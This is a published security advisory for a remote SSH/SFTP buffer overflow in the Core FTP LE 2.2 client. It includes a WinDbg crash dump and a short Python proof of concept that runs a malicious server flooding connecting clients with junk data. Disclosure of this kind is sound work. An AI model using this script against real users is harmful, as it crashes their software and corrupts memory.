Core FTP LE 2.2 Build 1883 Buffer Overflow

`[+] Credits: John Page aka hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/CORE-FTP-REMOTE-SSH-SFTP-BUFFER-OVERFLOW.txt  
  
[+] ISR: ApparitionSec  
  
  
  
Vendor:  
===============  
www.coreftp.com  
  
  
  
Product:  
========================  
Core FTP LE (client)  
v2.2 build 1883  
  
Core FTP LE - free Windows software that includes the client FTP features  
you need. Features like SFTP (SSH), SSL, TLS, FTPS, IDN,  
browser integration, site to site transfers, FTP transfer resume, drag and  
drop support, file viewing & editing, firewall support,  
custom commands, FTP URL parsing, command line transfers, filters, and  
much, much more.  
  
  
  
Vulnerability Type:  
================================  
Remote SSH/SFTP Buffer Overflow  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
  
Core FTP client is vulnerable to remote buffer overflow denial of service  
when connecting to a malicious server using  
SSH/SFTP protocol.  
  
Upon receiving an overly long string of junk from the malicious FTP server  
response, Core FTP crashes and the stack  
is corrupted with several registers EBX, EDX, EDI being overwritten as can  
be seen below.  
  
WinDbg dump...  
  
(d9c.16d8): Access violation - code c0000005 (first/second chance not  
available)  
eax=035b0000 ebx=00004141 ecx=03ac7e40 edx=41414141 esi=03ac7e38  
edi=41414141  
eip=77313ac3 esp=0439fa10 ebp=0439fae0 iopl=0 nv up ei pl nz ac pe  
nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b  
efl=00010216  
ntdll!RtlImageNtHeader+0x92f:  
77313ac3 8b12 mov edx,dword ptr [edx]  
ds:002b:41414141=????????  
  
  
  
  
Exploit code(s):  
===============  
  
import socket  
  
print 'hyp3rlinx - Apparition Security'  
print 'Core FTP SSH/SFTP Remote Buffer Overflow / DOS\r\n'  
host='127.0.0.1'  
  
port = 22  
s = socket.socket()  
  
payload="A"*77500  
s.bind((host, port))  
s.listen(5)  
  
print 'Listening on port... %i' %port  
print 'Connect to me!'  
  
while True:  
conn, addr = s.accept()  
conn.send(payload+'\r\n')  
conn.close()  
  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
===============  
High  
  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.  
  
hyp3rlinx  
`